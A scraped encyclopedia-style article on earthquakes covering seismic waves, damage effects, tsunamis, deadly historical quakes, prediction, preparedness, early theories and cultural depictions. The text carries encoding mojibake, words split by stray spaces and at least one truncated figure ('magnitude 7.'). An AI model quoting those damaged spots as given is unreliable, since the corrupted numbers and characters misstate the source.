In the Earth's interior the shock- or P waves travel much faster than the S waves (approx. relation 1. 7  : 1). The differences in  travel time  from the  epicentre  to the observatory are a measure of the distance and can be used to image both sources of quakes and structures within the Earth. Also the depth of the  hypocenter  can be computed roughly. In solid rock P-waves travel at about 6 to 7  km per second; the velocity increases within the deep mantle to ~13  km/s.The velocity of S-waves ranges from 2–3  km/s in light sediments and 4–5  km/s in the Earth's crust up to 7  km/s in the deep mantle. As a consequence, the first waves of a distant earthquake arrive at an observatory via the Earth's mantle. Rule of thumb: On the average, the kilometer distance to the earthquake is the number of seconds between the P and S wave  times 8. [43]  Slight deviations are caused by inhomogeneities of subsurface structure. By such analyses of seismograms the Earth's core was located in 1913 by  Beno Gutenberg.Earthquakes are not only categorized by their magnitude but also by the place where they occur. The world is divided into 754  Flinn-Engdahl regions  (F-E regions), which are based on political and geographical boundaries as well as seismic activity. More active zones are divided into smaller F-E regions whereas less active zones belong to larger F-E regions. ———————————à ¢â‚¬â€Ã¢â‚¬â€Ã¢â‚¬â€Ã¢â‚¬â€Ã¢â‚¬â€- Effects of earthquakes 1755 copper engraving depicting  Lisbonin ruins and in flames after the  1755 Lisbon earthquake, which killed an estimated 60,000 people. A  tsunami  overwhelms the ships in the harbor.The effects of earthquakes include, but are not limited to, the following: Shaking and ground rupture Damaged buildings in  Port-au-Prince,Haiti, January 2010. Shaking and ground rupture are the main effects created by earthquakes, principally resulting in more or less severe damage to buildings and other rigid structures. The severity of the local effects depends on the complex combination of the earthquake  magnitude, the distance from the  epicenter, and the local geological and geomorphological conditions, which may amplify or reduce  wave propagation. [44]  The ground-shaking is measured by  ground acceleration.Specific local geological, geomorphological, and geostructural features can induce high levels of shakin g on the ground surface even from low-intensity earthquakes. This effect is called site or local amplification. It is principally due to the transfer of the  seismic  motion from hard deep soils to soft superficial soils and to effects of seismic energy focalization owing to typical geometrical setting of the deposits. Ground rupture is a visible breaking and displacement of the Earth's surface along the trace of the fault, which may be of the order of several metres in the case of major earthquakes.Ground rupture is a major risk for large engineering structures such as  dams, bridges and  nuclear power stations  and requires careful mapping of existing faults to identify any which are likely to break the ground surface within the life of the structure. [45] Landslides and avalanches Main article:  Landslide Earthquakes, along with severe storms, volcanic activity, coastal wave attack, and wildfires, can produce slope instability leading to landslides, a major geological hazard. Landslide danger may persist while emergency personnel are attempting rescue. [46] FiresFires of the  1906 San Francisco earthquake Earthquakes can cause  fires  by damaging  electrical power  or gas lines. In the event of water mains rupturing and a loss of pressure, it may also become difficult to stop the spread of a fire once it has started. For example, more deaths in the  1906 San Francisco earthquake  were caused by fire than by the earthquake itself. [47] Soil liquefaction Main article:  Soil liquefaction Soil liquefaction occurs when, because of the shaking, water-saturated  granular  material (such as sand) temporarily loses its strength and transforms from a  solid  to a  liquid.Soil liquefaction may cause rigid structures, like buildings and bridges, to tilt or sink into the liquefied deposits. This can be a devastating effect of earthquakes. For example, in the  1964 Alaska earthquake, soil liquefaction caused many buildings to sink into the ground, eventually collapsing upon themselves. [48] Tsunami The tsunami of the  2004 Indian Ocean earthquake A large ferry boat rests inland amidst destroyed houses after a 9. 0  earthquakeand subsequent tsunami struck Japan in March 2011. Main article:  Tsunami Tsunamis are long-wavelength, long-period sea waves produced by the sudden or abrupt movement of large volumes of water.In the open ocean the distance between wave crests can surpass 100 kilometers (62  mi), and the wave periods can vary from five minutes to one hour. Such tsunamis travel 600-800  kilometers per hour (373–497 miles per hour), depending on water depth. Large waves produced by an earthquake or a submarine landslide can overrun nearby coastal areas in a matter of minutes. Tsunamis can also travel thousands of kilometers across open ocean and wreak destruction on far shores hours after the earthquake that generated them. [49] Ordinarily, subduction earthquakes under magnitude 7. on the Richter scale do not cause tsunamis, although some instances of this have been recorded. Most destructive tsunamis are caused by earthquakes of magnitude 7. 5 or more. [49] Floods Main article:  Flood A flood is an overflow of any amount of water that reaches land. [50]  Floods occur usually when the volume of water within a body of water, such as a river or lake, exceeds the total capacity of the formation, and as a result some of the water flows or sits outside of the normal perimeter of the body. However, floods may be secondary effects of earthquakes, if dams are damaged.Earthquakes may cause landslips to dam rivers, which collapse and cause floods. [51] The terrain below the  Sarez Lake  in  Tajikistan  is in danger of catastrophic flood if the  landslide dam  formed by the earthquake, known as the  Usoi Dam, were to fail during a future earthquake. Impact projections suggest the flood could affect roughly 5  million people. [52] Human impacts An earthquake may cause injury and loss of life, road and bridge damage, general  property damage  (which may or may not be covered by  earthquake insurance), and collapse or destabilization (potentially leading to future collapse) of buildings.The aftermath may bring  disease, lack of basic necessities, and higher insurance premiums. ————————————————- Major earthquakes Earthquakes of magnitude 8. 0 and greater since 1900. The apparent 3D volumes of the bubbles are linearly proportional to their respective fatalities. [53] Main article:  List of earthquakes One of the most devastating earthquakes in recorded history occurred on 23 January 1556 in the  Shaanxi  province, China, killing more than 830,000 people (see  1556 Shaanxi earthquake). 54]  Most of the population in the area at the time lived in  yaodongs, artificial caves in  loess  cliffs, many of which co llapsed during the catastrophe with great loss of life. The  1976 Tangshan earthquake, with a death toll estimated to be between 240,000 to 655,000, is believed to be the largest earthquake of the 20th century by death toll. [55] The  1960 Chilean Earthquake  is the largest earthquake that has been measured on a seismograph, reaching 9. 5 magnitude on 22 May 1960. [28][29]  Its epicenter was near Canete, Chile.The energy released was approximately twice that of the next most powerful earthquake, the  Good Friday Earthquake, which was centered in  Prince William Sound, Alaska. [56][57]  The ten largest recorded earthquakes have all been  megathrust earthquakes; however, of these ten, only the  2004 Indian Ocean earthquake  is simultaneously one of the deadliest earthquakes in history. Earthquakes that caused the greatest loss of life, while powerful, were deadly because of their proximity to either heavily populated areas or the ocean, where earthquakes often crea te  tsunamis  that can devastate communities thousands of kilometers away.Regions most at risk for great loss of life include those where earthquakes are relatively rare but powerful, and poor regions with lax, unenforced, or nonexistent seismic building codes. ————————————————- Prediction Main article:  Earthquake prediction Many methods have been developed for predicting the time and place in which earthquakes will occur. Despite considerable research efforts by  seismologists, scientifically reproducible predictions cannot yet be made to a specific day or month. 58]  However, for well-understood faults the probability that a segment may rupture during the next few decades can be estimated. [59] Earthquake warning systems  have been developed that can provide regional notification of an earthquake in progress, but before the ground surface has begun to move, potentially allowing people within the system's range to seek shelter before the earthquake's impact is felt. ————————————————- Preparedness The objective of  earthquake engineering  is to foresee the impact of earthquakes on buildings and other structures and to design such structures to minimize the risk of damage.Existing structures can be modified by  seismic retrofitting  to improve their resistance to earthquakes. Earthquake insurance  can provide building owners with financial protection against losses resulting from earthquakes. Emergency management  strategies can be employed by a government or organization to mitigate risks and prepare for consequences. ————————————————- Historical views An image from a 1557 book From the lifetime of the Gre ek philosopher  Anaxagoras  in the 5th century BCE to the 14th century CE, earthquakes were usually attributed to â€Å"air (vapors) in the cavities of the Earth. [60]  Thales  of Miletus, who lived from 625–547 (BCE) was the only documented person who believed that earthquakes were caused by tension between the earth and water. [60]  Other theories existed, including the Greek philosopher Anaxamines' (585–526 BCE) beliefs that short incline episodes of dryness and wetness caused seismic activity. The Greek philosopher Democritus (460–371 BCE) blamed water in general for earthquakes. [60]  Pliny the Elder  called earthquakes â€Å"underground thunderstorms. â€Å"[60] ————————————————- Earthquakes in culture Mythology and religionIn  Norse mythology, earthquakes were explained as the violent struggling of the god  Loki. When Loki,à ‚  god  of mischief and strife, murdered  Baldr, god of beauty and light, he was punished by being bound in a cave with a poisonous serpent placed above his head dripping venom. Loki's wife  Sigyn  stood by him with a bowl to catch the poison, but whenever she had to empty the bowl the poison dripped on Loki's face, forcing him to jerk his head away and thrash against his bonds, which caused the earth to tremble. [61] In  Greek mythology,  Poseidon  was the cause and god of earthquakes.When he was in a bad mood, he struck the ground with a  trident, causing earthquakes and other calamities. He also used earthquakes to punish and inflict fear upon people as revenge. [62] In  Japanese mythology,  Namazu  (? ) is a giant  catfish  who causes earthquakes. Namazu lives in the mud beneath the earth, and is guarded by the god  Kashima  who restrains the fish with a stone. When Kashima lets his guard fall, Namazu thrashes about, causing violent earthquakes. Pop ular culture In modern  popular culture, the portrayal of earthquakes is shaped by the memory of great cities laid waste, such as  Kobe in 1995  or  San Francisco in 1906. 63]  Fictional earthquakes tend to strike suddenly and without warning. [63]  For this reason, stories about earthquakes generally begin with the disaster and focus on its immediate aftermath, as in  Short Walk to Daylight  (1972),  The Ragged Edge  (1968) or  Aftershock: Earthquake in New York  (1998). [63]  A notable example is Heinrich von Kleist's classic novella,  The Earthquake in Chile, which describes the destruction of Santiago in 1647. Haruki Murakami's short fiction collection  after the quake  depicts the consequences of the Kobe earthquake of 1995.The most popular single earthquake in fiction is the hypothetical â€Å"Big One† expected of  California's  San Andreas Fault  someday, as depicted in the novels  Richter 10  (1996) and  Goodbye California  (1977) among other works. [63]  Jacob M. Appel's widely anthologized short story,  A Comparative Seismology, features a con artist who convinces an elderly woman that an apocalyptic earthquake is imminent. [64]  In  Pleasure Boating in Lituya Bay, one of the stories in  Jim Shepard's  Like You'd Understand, Anyway, the â€Å"Big One† leads to an even more devastating tsunami.In the film  2012  (2009), solar flares (geologically implausibly) affecting the Earth's core caused massive destabilization of the Earth's crust layers. This created destruction planet-wide with earthquakes and tsunamis, foreseen by the  Mayan  culture and myth surrounding the last year noted in the  Mesoamerican calendar  Ã¢â‚¬â€Ã‚  2012. Contemporary depictions of earthquakes in film are variable in the manner in which they reflect human psychological reactions to the actual trauma that can be caused to directly afflicted families and their loved ones. 65]  Disaster mental health response research emphasizes the need to be aware of the different roles of loss of family and key community members, loss of home and familiar surroundings, loss of essential supplies and services to maintain survival. [66][67]  Particularly for children, the clear availability of caregiving adults who are able to protect, nourish, and clothe them in the aftermath of the earthquake, and to help them make sense of what has befallen them has been shown even more important to their emotional and physical health than the simple giving of provisions. 68]  As was observed after other disasters involving destruction and loss of life and their media depictions, such as those of the 2001 World Trade Center Attacks or Hurricane Katrina—and has been recently observed in the  2010 Haiti earthquake, it is also important not to pathologize the reactions to loss and displacement or disruption of governmental administration and services, but rather to validate these reactions, to support constructive problem-solving and reflection as to how one might improve the conditions of those affected. [69]